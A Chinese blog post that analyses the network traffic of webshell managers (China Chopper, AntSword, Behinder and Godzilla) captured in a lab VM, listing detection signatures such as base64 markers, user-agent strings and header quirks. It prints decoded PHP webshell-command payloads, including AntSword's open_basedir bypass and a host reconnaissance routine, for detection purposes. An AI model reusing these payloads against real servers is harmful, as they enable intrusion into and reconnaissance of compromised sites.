常见webeshell工具流量分析

发布时间 2023-04-10 18:26:04作者: 木易同学

中国菜刀

虚拟机使用仅主机模式,开启apache服务,使用wireshark对此网卡进行抓包

 

 追踪http数据流

 

 base64解码得出

<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
if (PHP_VERSION < '5.3.0') {
    @set_magic_quotes_runtime(0);
};
echo("X@Y");
$D = 'ÕýÔÚÔØÈë»ù±¾ÐÅÏ¢...\\';
$F = @opendir($D);
if ($F == NULL) {
    echo("ERROR:// Path Not Found Or No Permission!");
} else {
    $M = NULL;
    $L = NULL;
    while ($N = @readdir($F)) {
        $P = $D . '/' . $N;
        $T = @date("Y-m-d H:i:s", @filemtime($P));
        @$E = substr(base_convert(@fileperms($P), 10, 8), -4);
        $R = "\t" . $T . "\t" . @filesize($P) . "\t" . $E . "\n";
        if (@is_dir($P)) $M .= $N . "/" . $R; else $L .= $N . $R;
    }
    echo $M . $L;
    @closedir($F);
};
echo("X@Y");
die();

发现请求包执行了 base64_decode 函数对 z1 进行 base64 后,经过 eval 函数执行命令,base64 解密 z1指向的路径,响应包中给出上传到www目录下

菜刀工具流量特征:

1,请求体中存在assert eval,base64等特征字符
2,请求体中传递的payload为base64编码,并且存在固定的QGluaV9zZXQo、@ini_set

另一种说法:

连接过程中使用base64编码对发送的指令进行加密,其中两个关键payload z1 和 z2,名字都是可变的。

然后还有一段以QG开头,7J结尾的固定代码。

 

蚁剑

开启蚁剑自带的代理进行抓包 

 

 

 

 进行url解码

@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.e21aab";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "f9c98"."94e91";echo @asenc($output);echo "73fd3"."27906";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D} ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.=" ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.=" {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

 

查看其代码发现有多个危险函数使用,如@ini_set(“display_errors”,“0”)、dirname、get_current_user等,如果再文中发现其他编码的明显特征,要进行二次解码。

查看请求头是否有明显的标识符,通过URL解码来查看报文中是否存在危险函数或者有@ini_set(“display_errors”,“0”)。

流量特征:

1、默认的 user-agent 请求头是 antsword xxx(可修改)

2、蚁剑的正文内容用URL加密,解密后流量最中明显的特征为ini_set("display_errors","0");

冰蝎

冰蝎2.0

  • 2.0中采用协商密钥机制。第一阶段请求中返回包状态码为200,返回内容必定是16位的密钥
  • Accept: text/html, image/gif, image/jpeg, ; q=.2, /*; q=.2
  • 建立连接后 所有请求 Cookie的格式都为: Cookie: PHPSESSID=; path=/;

冰蝎3.0

  • 在使用命令执行功能时,请求包中content-length 为5740或5720(可能会根据Java版本而改变)
  • 每一个请求头中存在Pragma: no-cache,Cache-Control: no-cache
  • Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9

哥斯拉

1.jsp代码中可能会具有getclass,getclassLoader等关键字,payload使用base64编码等特征。php和asp则是普通的一句话木马。

2.在响应包的cache-control字段中有no-store,no-cache等特征。

3.所有请求中的cookie字段最后面都存在;特征。

 

 

参考链接:https://blog.hsm.cool/index.php/archives/792/